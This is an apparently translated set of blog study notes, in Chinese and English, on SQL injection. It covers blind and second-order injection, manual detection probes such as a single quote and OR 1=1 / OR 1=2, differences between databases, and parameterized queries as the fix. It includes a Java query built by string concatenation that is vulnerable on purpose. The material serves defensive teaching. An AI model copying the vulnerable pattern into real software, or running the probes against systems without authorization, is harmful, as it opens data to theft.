Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not. As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.

尽管发现和利用盲目SQL注入漏洞所需的技术与普通SQL注入不同,而且更加复杂,但无论漏洞是否盲目,防止SQL注入所需的措施都是相同的。与常规SQL注入一样,可以通过谨慎使用参数化查询来防止盲目SQL注入攻击,参数化查询确保用户输入不会干扰预期SQL查询的结构。

四、HOW 如何检测SQL注入漏洞

使用Burp Suite的Web漏洞 扫描程序可以快速可靠地找到大多数SQL注入漏洞。
对应用程序的 每个入口点使用系统化的测试集,可以手动检测SQL注入

在这里插入图片描述

  • 提交单引号字符并查找错误或其他异常
  • 提交 特定的SQL语法,以**评估入口点的基础(原始值)和其他值,**并查找应用程序响应中的差异。
  • 提交 布尔条件(),OR 1=1 OR 1=2 查找响应中的差异
  • 提交 负载(SQL查询中执行触发时间的有效负载)寻找响应时间的差异
  • 提交 负载(SQL查询中执行触发带外网络交互的OAST有效负载监视所有结果交互

五、SQL injection 在查询的不同部分

大多数SQL注入漏洞都出现在SELECT查询的WHERE子句中,原则上SQL注入漏洞可以出现在查询中的任何位置以及不同的查询类型中
在这里插入图片描述

六、二阶SQL注入

一阶:发生在应用程序 从HTTP请求 获取用户输入的情况下(在处理请求的过程,一不安全的方式 将输入合并到SQL查询)
二阶:存储的SQL注入,应用程序从HTTP请求获取用户输入 将其存储起来以备将来使用

在开发人员意识到SQL注入漏洞并因此****安全地处理输入到数据库的初始放置的情况下,通常会出现二阶SQL注入。 以后再处理数据时,由于先前已将其安全地放置到数据库中,因此认为该数据是安全的。 此时,由于开发人员错误地认为数据是可信的,因此以不安全的方式处理数据。

七、特定的数据库因素Database-specific factors

流行的数据库平台上SQL语言的某些核心功能是以相同的方式实现的,检测和利用SQL注入漏洞的许多方式在不同类型的数据库上均相同,但也有差异:

  • 字符串连接的语法
  • 注释
  • 批处理查询
  • 平台特定API
  • 错误消息
    在这里插入图片描述

八、如何防止SQL注入

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:
通过使用参数化查询(预处理语句) 而不是查询中的字符串串联,可以防止大多数SQL注入实例。以下代码易收到SQL注入的攻击,因为用户输入直接连接到查询中

String query = "SELECT * FROM products WHERE category = '"+ input + "'";

Statement statement = connection.createStatement();

ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure

可以通过防止用户输入干扰查询结构的方式轻松地重写这段代码

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");

statement.setString(1, input);

ResultSet resultSet = statement.executeQuery();

参数化查询可用于不信任输入在查询中显示为数据的任何情况,包括WHERE子句和INSERT或UPDATE语句中的值。 它们不能用于处理查询其他部分中的不可信输入,例如表名或列名或ORDER BY子句。 将不受信任的数据放入查询的那些部分的应用程序功能将需要采用不同的方法,例如将允许的输入值列入白名单,或者使用不同的逻辑来传递所需的行为。

为了使参数化查询有效地防止SQL注入,查询中使用的字符串必须始终是硬编码常量a hard-coded constant,并且绝不能包含来自任何来源的任何变量数据。 不要试图逐案确定数据项是否受信任,并继续在查询中使用字符串连接来确定安全的情况。 可能会很容易就数据的原始来源犯错误,也可能因为其他代码的更改而违反有关污染了哪些数据的假设,这太容易了。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值